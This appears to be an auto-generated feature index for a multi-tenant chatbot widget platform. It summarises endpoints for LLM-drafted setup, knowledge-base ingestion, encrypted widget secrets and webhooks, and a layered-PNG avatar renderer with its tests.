- **`tenants.widgets.generate-setup`** — JWT + per-widget-ReBAC (Edit) + PAID-plan-gated (Starter+ via the same tier ladder as experiments; free/none ⇒ typed 403 plan_upgrade_required; unlimited/demo tenants pass) LLM generation of a persona_script draft + items catalog draft from the wizard answers and dumped materials. Multipart like kb-upload: field `payload` = JSON {answers, materials {texts, links}}, repeated field `photo` = image files (jpeg/png/webp, ≤10MB each — the SAME cap as KB uploads — max 4). Photos ride to the model as vision input only when the configured model is vision-capable, else a typed note. Rate limit: 3 generations/hour/widget (429 generation_rate_limited, upstream-failure slots refunded). Zero free Route (under the JWT + rate-limit /me layer; route-scoped 56MB body limit for the photo parts — see router.rs): * `POST /me/widgets/{id}/generate-setup`  
  *embed-accounts/src/handlers/me/generate_setup.rs:8*
- **`tenants.widgets.internal-config`** — GET /internal/widgets/{public_id}/config (X-Internal-Secret) — returns the trusted AgentConfig for a widget so agent-lite's TenantsConfigResolver can resolve it server-side. Maps the stored memory_mode → agent-lite's memory_tier. Paused / unknown widgets → 404.  
  *embed-accounts/src/handlers/widgets.rs:5*
- **`tenants.widgets.kb-source-ingest`** — Multi-source ingestion (§kb-ultrawiki M1): every knowledge source is a `widget_kb_uploads` row (kind url|file|text) and ingests through ONE background path — url sources are fetched by openalice_rag::ingest_url (SSRF-vetted, https-only, size-capped), file/text sources are read from KB_UPLOAD_DIR and text-extracted locally (kb_extract: pdf/docx/md/txt/ html) then indexed via RagRouter::index with the SAME `{tenant}:{public_url}` document id the url path uses. Status transitions (queued → indexed|failed + chunk_count + error + last_indexed_at; the 'indexing' state is reserved — the live dashboard polls on 'queued') are written back onto the source row. Batch adds ingest sequentially in one task to bound embedder load. After every successful (re)index the document's SUPERSEDED chunks are deleted — the stale tail of a shrunken document AND legacy UUID-id generations from before the deterministic-chunk-id fix — so re-indexing converges the store to exactly the new generation. The HTTP response is NEVER blocked on ingestion. When the process-wide RagRouter is `None` ingestion is a logged no-op and rows stay 'queued' (honest). requires-env: [RAG_DATABASE_URL (or DATABASE_URL), EMBED_API_KEY (or MISTRAL_API_KEY)] Chunk-key contract (shared with openalice_rag + embed-runtime's /internal/kb/stats): a source's chunks live in `rag_chunks` keyed by `(tenant_id, source_url = widget_kb_uploads.public_url)` with `document_id = "{tenant_id}:{public_url}"` and deterministic chunk ids `{document_id}:{position}`. Re-ingesting the same source therefore upserts in place; purging a source deletes exactly its chunks; per-source stats are one GROUP BY away. File/text sources reuse their serve URL as the key so rows indexed before local extraction existed stay continuous.  
  *embed-accounts/src/rag_ingest.rs:5*

### tenants/widget-secrets
- **`tenants.widget-secrets.dashboard`** — JWT-gated /me/widgets/{id}/secrets surface: PUT (encrypt + upsert a {key_name, value}), GET (list key_names ONLY — never values), DELETE /{key_name}. Values are AES-256-GCM encrypted with the cluster master key before they touch the DB and are NEVER returned on any /me route. key_name is validated against ^[A-Z0-9_]{1,64}$. Returns 503 when the secrets cipher is unavailable (OA_SECRETS_MASTER_KEY unset). Each mutation writes an audit_log row. Routes (all tenant-auth gated, widget ownership enforced): * `PUT    /me/widgets/{id}/secrets`            — upsert one secret. * `GET    /me/widgets/{id}/secrets`            — list key_names only. * `DELETE /me/widgets/{id}/secrets/{key_name}` — delete one secret. SECURITY: the plaintext `value` is accepted on PUT, encrypted immediately, and never echoed back. There is intentionally no read path for values on this surface — the only way to obtain a decrypted value is the X-Internal-Secret-gated internal endpoint that agent-lite calls server-side at the action boundary.  
  *embed-accounts/src/handlers/me/widget_secrets.rs:5*

### tenants/widget-webhooks
- **`tenants.widget-webhooks.dashboard`** — JWT-gated /me/widgets/{id}/webhooks surface: GET (list registrations — url/events/enabled, NEVER the secret), POST (create: validate https url + events against {conversation.started, conversation.ended, escalation.triggered, lead.captured}, encrypt the shared secret with the cluster master key → secret_cipher), PATCH /{wh_id} (url/events/enabled), DELETE /{wh_id}. The shared secret is AES-256-GCM encrypted before it touches the DB and is NEVER returned on any /me route. Returns 503 when the secrets cipher is unavailable (OA_SECRETS_MASTER_KEY unset). Each mutation writes an audit_log row. Routes (all tenant-auth gated, widget ownership enforced): * `GET    /me/widgets/{id}/webhooks`          — list (no secret). * `POST   /me/widgets/{id}/webhooks`          — create one webhook. * `PATCH  /me/widgets/{id}/webhooks/{wh_id}`  — update url/events/enabled. * `DELETE /me/widgets/{id}/webhooks/{wh_id}`  — delete one webhook. SECURITY: the plaintext `secret` is accepted on POST, encrypted immediately, and never echoed back. There is intentionally no read path for the secret on this surface — the only way to obtain the decrypted value is the X-Internal-Secret-gated internal endpoint agent-lite calls server-side to sign deliveries.  
  *embed-accounts/src/handlers/me/webhooks.rs:5*

### widget/avatar
- **`widget.avatar.puru-mount`** · _experimental_ · since 0.2.0 — mountPuruRender(container, baseUrl) — the "puru" avatarKind's VrmHandle adapter. Loads the 8-PNG layer set, mounts a square canvas, and maps the orchestrator contract onto the PNGTuber runtime — setMouth(RMS)→mouth states (the existing voice-player feed), speaking state adds a subtle energy lift, setPaused parks the loop, whenReady resolves after asset decode. Rejects (caller degrades down the ladder) when assets are missing.  
  *embed-widget/src/avatar/puru-render.ts:1336*
- **`widget.avatar.puru-render`** · _experimental_ · since 0.2.0 — The "puru" avatarKind runtime — layered-PNG PNGTuber renderer (canvas-2D, ~9KB, no WebGL): spring-chain hair with per-strand sine drift, breath bounce + sway, autonomous blink scheduler (2.4-6s, 130ms close), 3-state mouth from the agent's TTS playback level via setMouthLevel (never the visitor's mic). Asset-agnostic 8-PNG scheme resolved from baseUrl; pauses on hidden tabs; dispose() tears everything down. Clean-room port of the PuruPuruPNGTuber technique (Apache-2.0 attribution).  
  *embed-widget/src/avatar/puru-render.ts:19*
- **`widget.avatar.puru-springs`** · _experimental_ · since 0.2.0 — Damped spring-chain physics for the "puru" avatar mode — semi-implicit Euler, root-critical→tip-underdamped stage lerp, follow-the-leader chaining. Clean-room TS implementation of the PuruPuruPNGTuber technique (Apache-2.0 attribution in THIRD_PARTY_NOTICES). Pure math module, unit-tested.  
  *embed-widget/src/avatar/puru-springs.ts:18*

### widget/test
- **`widget.test.puru`** — The "puru" avatar physics + state machines: spring chains settle to their target with exactly the designed character (tip overshoots ONCE, root stays near-critical), the chain ripples root→tip, dt clamping survives a background-tab resume, and the 3-state mouth applies hysteresis so speech never strobes frames.  
  *embed-widget/test/puru.test.ts:2*

---

*Generated by [openalice-atlas](https://atlas.blal.pro) — single source of truth for the openalicelabs ecosystem.*
